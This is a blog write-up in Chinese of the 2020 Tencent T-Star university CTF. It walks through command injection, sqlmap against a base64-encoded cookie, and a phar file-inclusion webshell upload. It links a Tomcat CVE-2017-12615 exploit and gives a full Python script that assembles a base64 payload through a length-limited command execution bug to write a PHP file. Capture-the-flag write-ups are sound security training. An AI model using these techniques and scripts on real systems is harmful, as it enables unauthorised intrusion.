2020腾讯犀牛鸟网络安全T-Star高校挑战赛writeup

签到

浏览器禁用js,在www目录下有 key

image.png

 

命令执行基础

使用 | 可以执行其他命令,在 ../目录下有 key.php

image.png

 

cat 一下读出来

image.png

 

你能爆破吗

一开始随便输了个账号的时候不是这个页面,抓包也没看着 cookie😥后来 admin/admin 去访问了一下成了这样的

image.png

 

抓包,保存下来,cookie 是 base64 编码的,--tamper base64encode.py 试一下,sqlmap成功跑出来

image.png

 

成绩单

sqlmap 一把唆

image.png

 

文件包含GetShell

查看源代码有个lfi.txt,访问一下

image.png

 

把 shell.php 压缩成 zip,然后后缀改成 txt(这个是提前ls看过然后又加上的,一开始传一句话不行,尝试在服务器上反弹 shell也不行,只能一点一点试)

image.png

 

上传之后给了个路径

 

image.png

 

访问 http://e79db2ea.yunyansec.com/lfi.php?file=phar://files/jY5jwv7OYI73sMEq.txt/shell 查看源代码得到 flag

image.png

 

小猫咪踩灯泡

exp 一把唆

https://github.com/RealBearcat/CVE-2017-12615

image.png

 

分析代码获得flag

题目给了源码,命令执行有长度限制

直接放脚本

#encoding:utf-8
import requests
baseurl = "http://4be92bc9.yunyansec.com/?1="
s = requests.session()

# 将ls -t 写入文件_
list=[
    ">ls\\",
    "ls>_",
    ">\ \\",
    ">-t\\",
    ">\>0",
    "ls>>_"
]

list2=[
    ">hp",
    ">3.p\\",
    ">d\>\\",
    ">\ -\\",
    ">e64\\",
    ">bas\\",
    ">\|\\",
    ">z4=\\",
    ">k7P\\",
    ">5Ii\\",
    ">a2V\\",
    ">3cv\\",
    ">93d\\",
    ">hci\\",
    ">L3Z\\",
    ">XQg\\",
    ">JjY\\",
    ">tKC\\",
    ">dGV\\",
    ">3lz\\",
    ">Agc\\",
    ">waH\\",
    ">PD9\\",
    ">o\ \\",
    ">ech\\"

]
for i in list:
    url = baseurl+str(i)
    s.get(url)

for j in list2:
    url = baseurl+str(j)
    s.get(url)

s.get(baseurl+"sh _")
s.get(baseurl+"sh 0")

 

那一块长的 base64 是

image.png

 

一句话没成功,让他直接打印出来把

 

 

posted @ 2020-07-01 08:02  yichen0115  阅读(121)  评论(0编辑  收藏